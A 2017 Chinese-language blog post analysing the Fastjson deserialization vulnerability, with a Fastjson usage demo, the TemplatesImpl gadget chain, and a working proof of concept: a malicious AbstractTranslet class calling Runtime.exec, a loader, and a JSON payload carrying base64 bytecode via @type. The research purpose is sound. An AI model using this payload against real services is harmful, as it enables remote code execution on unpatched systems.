Fastjson反序列化漏洞研究

0x01 Brief Description

  java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,https://github.com/alibaba/fastjson,Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。大概在4月18号的时候,fastjson进行了一次安全更新,通告在这里https://github.com/alibaba/fastjson/wiki/security_update_20170315,当时对这也不熟悉,断断续续看了几天也没什么收获(主要是因为太菜了TAT)。最近有人出了poc以及分析的文章就跟进了一下,漏洞还是挺有意思。

0x02 fastjson简单使用介绍

  工欲善其事,必先利其器,要想研究这个漏洞,就要先要了解这个fastjson是干什么的。自己研究了一下这个类库。User.java code如下:

package fastjsonVul.fastjsonTest;

public class User {
    public String Username;
    public String Sex;
    public String getUsername() {
        return Username;
    }
    public void setUsername(String username) {
        Username = username;
    }
    public String getSex() {
        return Sex;
    }
    public void setSex(String sex) {
        Sex = sex;
    }


}

 

  testFastJson.java code如下:

package fastjsonVul.fastjsonTest;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import fastjsonVul.fastjsonTest.User;
public class testFastJson {
        
    public static void main(String[] args){
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);    
        System.out.println(mapJson);
        
        User user1 = new User();
        user1.setUsername("xiaoming");
        user1.setSex("male");    
        System.out.println("obj name:"+user1.getClass().getName());
        
        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);
        
        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        
        //通过parse方法进行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getUsername());
        System.out.println();
        
        //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"\n");
        
        //通过这种方式返回的是一个相应的类对象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println(obj1);
        System.out.println("obj1 name:"+obj1.getClass().getName());
        
    }
}

输出是这样

{"key1":"One","key2":"Two"}
obj name:fastjsonVul.fastjsonTest.User
serializedStr={"Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
xiaoming

{"Username":"xiaoming","Sex":"male","sex":"male","username":"xiaoming"}
obj name:com.alibaba.fastjson.JSONObject

fastjsonVul.fastjsonTest.User@18769467
obj1 name:fastjsonVul.fastjsonTest.User

0x03 Fastjson漏洞详细

  fastjson漏洞出现的地方也就是JSON.parseObject这个方法上面。

  在最开始的时候,只能通过类初始化时候的构造函数或者变量的setter方法执行恶意代码,像是这样

Evil.java


import java.io.IOException;

public class Evil {

public String getName() {
System.out.println("i am getterName!");
return name;
}

public void setName(String name) {
System.out.println("i am setterName!");
this.name = name;
}

public String name;

public int getAge() {
System.out.println("i am getterAge!");
return age;
}

public void setAge(int age) {
System.out.println("i am setterAge!");
this.age = age;
}

private int age;

public Evil() throws IOException{
System.out.println("i am constructor!");
}


}

 

App.java

import com.alibaba.fastjson.JSON;

import java.io.*;

public class App
{
public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
InputStream is = new FileInputStream(filePath);
String line; // 用来保存每行读取的内容
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
line = reader.readLine(); // 读取第一行
while (line != null) { // 如果 line 为空说明读完了
buffer.append(line); // 将读到的内容添加到 buffer 中
buffer.append("\n"); // 添加换行符
line = reader.readLine(); // 读取下一行
}
reader.close();
is.close();
}
public static void main( String[] args ) throws IOException
{
StringBuffer Buffer = new StringBuffer();
App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");
Object obj = JSON.parseObject(Buffer.toString());
}
}

demo.json的内容如下 

{
  "@type" : "Evil1",
  "name"  : "M0rk",
  "age"   : "20"

      可以看到通过@type"特性",就执行了构造函数以及私有和公有成员变量的getter和setter方法。但是这貌似还并没有达到我们想要的结果,因为上面的情况是需要我们能够控制Evil这个类(一般是通过文件写入),目前来看不太现实。

  还有一种方法就是将编译好的.class或者.jar文件转换成byte[],然后通过defineClass加载byte[]返回class对象。

安全研究人员发现了这个类

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个类存在如下的调用链可加载byte[]完成.class文件中对象的实例化,注意MailCiousClass需要继承AbstractTranslet(在defineTransle方法中存在一个校验)。更多这个调用链参考链接 https://gist.github.com/frohoff/24af7913611f8406eaf3

                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()

如上图所示的攻击调用栈信息,可以看到和TemplatesImpl调用链完全吻合,最终还是通过defineclass加载了bytecodes[]导致了命令执行。

Evil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
}

poc.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class poc {

    public static String readClass(String cls) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());

    }


    public static void main(String args[]) throws Exception{
//        final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class";
//        String evilCode = readClass(evilClassPath);
//        System.out.println(evilCode);
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");
        Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);

    }
}

evil.json

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],
  "_name" : "M0rk",
  "_tfactory" : {},
  "outputProperties" : {}
}

 

 

0x04 Conclusion

  关于这个漏洞的构造还是挺精巧,漏洞的利用条件比较苛刻,如要能够利用,开发人员对json的处理函数需要是   JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);

而大部分的开发可能用用JSON.parse(input)就了事儿了,同时使用了parseObject和Feature.SupportNonPublicField设置的估计不多。所以说实际环境中挖掘fastjson的这个漏洞应该是可遇不可求。

0x05 Reference

  1.http://www.cnblogs.com/Jie-Jack/p/3758046.html FastJson的简单使用

  2.https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up

  3.https://github.com/alibaba/fastjson/wiki

  4.http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

  5.http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/

  6.http://seclab.dbappsecurity.com.cn/?p=1698

 

posted @ 2017-04-30 11:09 晴天v 阅读(...) 评论(...) 编辑 收藏